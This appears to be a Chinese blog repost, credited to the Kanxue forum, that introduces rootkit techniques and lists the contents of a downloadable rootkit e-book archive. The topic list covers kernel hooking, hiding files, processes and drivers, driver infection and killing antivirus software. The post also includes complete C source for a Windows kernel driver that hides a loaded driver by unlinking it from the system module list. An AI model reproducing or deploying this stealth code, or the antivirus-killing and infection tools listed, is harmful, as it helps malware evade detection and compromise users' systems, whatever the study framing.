您的位置:首页 > 其它

Rootkit的学习与研究--简介和学习电子书籍

2012-05-16 21:56 309 查看
Rootkit是什么?估计很多朋友并不明白,简单的说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。技术是双刃剑,我们研究它的目的在于,透过我们的研究,用这项技术来保护我们的系统,使我们的系统更加健壮,充分发挥这个技术的正面应用。

对于ROOTKIT专题的研究,主要涉及的技术有如下部分:



1. 内核hook

对于hook,从ring3有很多,ring3到ring0也有很多,根据api调用环节递进的顺序,在每一个环节都有hook的机会,可以有int 2e或者sysenter hook,ssdt hook,inline hook ,irp hook,object hook,idt hook等等。

1)object hook

2)ssdt hook

3)inline-hook

4)idt hook

5)IRP hook

6)SYSENTER hook

7)IAT HOOK

8)EAT HOOK

2. 保护模式篇章第一部分: ring3进ring0之门

1)通过调用门访问内核

2)通过中断门访问内核

3)通过任务门访问内核

4)通过陷阱门访问内核

3。保护模式篇章第二部分:windows分页机制

1)windows分页机制



4。保护模式篇章第三部分:直接访问硬件

1)修改iopl,ring3直接访问硬件

2)追加tss默认I/O许可位图区域

3)更改tss I/O许可位图指向

5。detour 修改函数执行路径,可用于对函数的控制流程进行重定路径。

1)detour补丁



6. 隐身术

1)文件隐藏

2)进程隐藏

3)注册表键值隐藏

4)驱动隐藏

5)进程中dll模块隐藏

6)更绝的隐藏进程中的dll模块,绕过IceSword的检测

7)端口隐藏



7。ring0中调用ring3程序

1) apc方式

2) deviceiocontrol 方式

8。进程线程监控

1)监控进程创建

2)杀线程

3)保护进程和屏蔽文件执行

9。其他

1)获取ntoskrnl.exe模块地址的几种办法

2)驱动感染技术扫盲

3)shadow ssdt学习笔记

4)高手进阶windows内核定时器之一

5)高手进阶windows内核定时器之二

6)运行期修改可执行文件的路径和Command Line

7)查找隐藏驱动

8)装载驱动的几种办法

9)内核中注入dll的一种流氓方法

10)另一种读写进程内存空间的方法

11)完整驱动感染代码

12)Hook Shadow SSDT

13)ring0检测隐藏进程

电子书里面内容:

└─Rootkit

├─1。 内核hook

│ ├─1)object hook

│ │ 1)object hook.doc

│ │

│ ├─2)ssdt hook

│ │ 2)ssdt hook.doc

│ │ SSDT Hook的妙用-对抗ring0 inline hook .doc

│ │ swk0207.rar

│ │

│ ├─3)inline-hook

│ │ 360SuperKill学习之--恢复FSD的IRP处理函数.doc

│ │ 3)inline-hook.doc

│ │ cnnic.rar

│ │ ExpLookupHandleTableEntry.rar

│ │ ExpLookupHandleTableEntry2.rar

│ │ kill_SecuritySoftware.rar

│ │ PsLookupProcessByProcessId执行流程学习笔记.doc

│ │ 句柄啊,3层表啊,ExpLookupHandleTableEntry啊.doc

│ │ 干掉KV 2008, Rising等大部分杀软.doc

│ │ 搜索未导出的函数地址.doc

│ │

│ ├─4)idt hook

│ │ bhwin_keysniff.rar

│ │ IDT Hook .doc

│ │

│ ├─5)IRP hook

│ │ 5)IRP hook.doc

│ │ irphook1.rar

│ │ irphook2.rar

│ │ irphook3.rar

│ │

│ ├─6)SYSENTER hook

│ │ 6)SYSENTER hook.doc

│ │ SysEnterHook.rar

│ │

│ ├─7)IAT HOOK

│ │ 7)IAT HOOK.doc

│ │ HybridHook.rar

│ │ testtest.rar

│ │

│ └─8)EAT HOOK

│ 8)EAT HOOK.doc

│ 利用导出表来禁止一些驱动程序的加载.doc

│ 导出表钩子.rar



├─2。保护模式篇章第一部分: ring3进ring0之门

│ ├─1)通过调用门访问内核

│ │ 1)通过调用门访问内核.doc

│ │ myCallGate.rar

│ │ test.rar

│ │

│ ├─2)通过中断门访问内核

│ │ 2)通过中断门访问内核.doc

│ │ myIntGate.rar

│ │

│ ├─3)通过任务门访问内核

│ │ 3)通过任务门访问内核.doc

│ │ MyTaskGate.rar

│ │

│ └─4)通过陷阱门访问内核

│ 4)通过陷阱门访问内核.doc

│ exe.rar

│ src.rar



├─3。保护模式篇章第二部分:windows分页机制

│ 1)windows分页机制.doc



├─4。保护模式篇章第三部分:直接访问硬件

│ ├─1)修改iopl,ring3直接访问硬件

│ │ 1)修改iopl,ring3直接访问硬件.doc

│ │ drv.rar

│ │ exe.rar

│ │

│ ├─2)追加tss默认IO许可位图区域

│ │ 2)追加tss默认IO许可位图区域.doc

│ │ drv.rar

│ │

│ └─3)更改tss IO许可位图指向

│ 3)更改tss IO许可位图指向.doc

│ modifyiopmbase.rar

│ porttalk.rar



├─5。detour 修改函数执行路径,可用于对函数的控制流程进行重定路径。

│ └─1)detour补丁

│ 1)detour补丁.doc

│ Inline HOOK SeSinglePrivilegeCheck.rar



├─6. 隐身术

│ ├─1)文件隐藏

│ │ 1)文件隐藏.doc

│ │

│ ├─2)进程隐藏

│ │ 2)进程隐藏.doc

│ │

│ ├─3)注册表键值隐藏

│ │ 3)注册表键值隐藏.doc

│ │ BypassRegMon.rar

│ │ BypassRegMon2[1].idb.rar

│ │ BypassRegMon_src.rar

│ │ drv.rar

│ │ HIVE文件读写.rar

│ │ HIVE格式.rar

│ │ HIVE格式解析.doc

│ │ 注册表监控弱点演示程序 v0.2 逆向ASM源码及相关资料.doc

│ │

│ ├─4)驱动隐藏

│ │ 4)驱动隐藏.doc

驱动隐藏的代码附件里没有,这里把代码贴上,来源于看雪:

/*

* 【作者:莫灰灰(LSG)】

* 【空间:http://hi.baidu.com/hu3167343】

*/

#include <ntddk.h>

typedef unsigned long DWORD;

typedef struct _KLDR_DATA_TABLE_ENTRY {

LIST_ENTRY InLoadOrderLinks;

PVOID ExceptionTable;

ULONG ExceptionTableSize;

PVOID GpValue;

DWORD UnKnow;

PVOID DllBase;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

ULONG Flags;

USHORT LoadCount;

USHORT __Unused5;

PVOID SectionPointer;

ULONG CheckSum;

PVOID LoadedImports;

PVOID PatchInformation;

} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

PDRIVER_OBJECT pDriverObject = NULL;

VOID

HideDriver()

{

PKLDR_DATA_TABLE_ENTRY entry =(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;

PKLDR_DATA_TABLE_ENTRY firstentry;

UNICODE_STRING uniDriverName;



firstentry = entry;

// 初始化要隐藏驱动的驱动名

RtlInitUnicodeString(&uniDriverName, L"XueTr.sys");



while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)

{

if (entry->FullDllName.Buffer != 0)

{

if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)

{

KdPrint(("隐藏驱动 %ws 成功!\n", entry->BaseDllName.Buffer));

// 修改 Flink 和 Blink 指针, 以跳过我们要隐藏的驱动

*((DWORD*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;

entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;



/*

使被隐藏驱动LIST_ENTRY结构体的Flink, Blink域指向自己

因为此节点本来在链表中, 那么它邻接的节点驱动被卸载时,

系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.

但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点驱动被

卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而

造成随机性的BSoD.

*/

entry->InLoadOrderLinks.Flink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);

entry->InLoadOrderLinks.Blink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);

break;

}

}

// 链表往前走

entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;

}

}

NTSTATUS

UnloadDriver(

IN PDRIVER_OBJECT DriverObject

)

{

return STATUS_SUCCESS;

}

NTSTATUS

DriverEntry(

IN PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING RegistryPath

)

{

DriverObject->DriverUnload = UnloadDriver;

pDriverObject = DriverObject;

HideDriver();

return STATUS_SUCCESS;

}

复制代码
│ │

│ ├─5)进程中dll模块隐藏

│ │ 5)进程中dll模块隐藏.doc

│ │

│ ├─6)更绝的隐藏进程中的dll模块,绕过IceSword的检测

│ │ 6)更绝的隐藏进程中的dll模块,绕过IceSword的检测.doc

│ │

│ └─7)端口隐藏

│ 7)端口隐藏.doc



├─7。ring0中调用ring3程序

│ ├─1) apc方式

│ │ 1) apc方式 .doc

│ │ KernelExec.rar

│ │

│ └─2) deviceiocontrol 方式

├─8。进程线程监控

│ ├─1)监控进程创建

│ │ 1)监控进程创建.doc

│ │ protect.rar

│ │

│ ├─2)杀线程

│ │ 2)杀线程.doc

│ │

│ └─3)保护进程和屏蔽文件执行

│ 3)保护进程和屏蔽文件执行 .doc

│ sysnap.rar



└─9。其他

├─10)另一种读写进程内存空间的方法

│ 10)另一种读写进程内存空间的方法.doc



├─11)完整驱动感染代码

│ 11)完整驱动感染代码.doc

│ 驱动感染成功[1].V 1.0.080528_sudami.rar



├─12)Hook Shadow SSDT

│ 12)Hook Shadow SSDT.doc

│ HookShadowSSDT.rar



├─13)ring0检测隐藏进程

│ 13)ring0检测隐藏进程.doc

│ Ring0下搜索内存枚举隐藏进程.doc



├─1)获取ntoskrnl.exe模块地址的几种办法

│ 1)获取ntoskrnl.exe模块地址的几种办法.doc



├─2)驱动感染技术扫盲

│ 2)驱动感染技术扫盲.doc

│ InfectDriver.rar



├─3)shadow ssdt学习笔记

│ 3)shadow ssdt学习笔记.doc



├─4)高手进阶windows内核定时器之一

│ 4)高手进阶windows内核定时器之一.doc

│ WorkItem.rar



├─5)高手进阶windows内核定时器之二

│ 5)高手进阶windows内核定时器之二.doc

│ TimerWorks.rar



├─6)运行期修改可执行文件的路径和Command Line

│ 6)运行期修改可执行文件的路径和Command Line.doc

│ ImgPathChanger.rar



├─7)查找隐藏驱动

│ 7)查找隐藏驱动.doc



├─8)装载驱动的几种办法

│ 8内核模式下装载驱动和原生态应用程序.pdf

│ 8)装载驱动的几种办法.doc

│ Loading drivers and Native applications from kernel mode, withou

t touching registry.rar



└─9)内核中注入dll的一种流氓方法

9)内核中注入dll的一种流氓方法.doc

Apc.rar



Rootkit.rar
(6.06 MB, 下载次数: 4208)

2011-5-27 00:11:28 上传
下载次数: 4208



RooKit.pdf
(3.64 MB, 下载次数: 2097)

2011-5-29 22:41:42 上传
下载次数: 2097

为大家做了个PDF的文档,方便阅读,O(∩_∩)O~

注:来自看雪学院
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: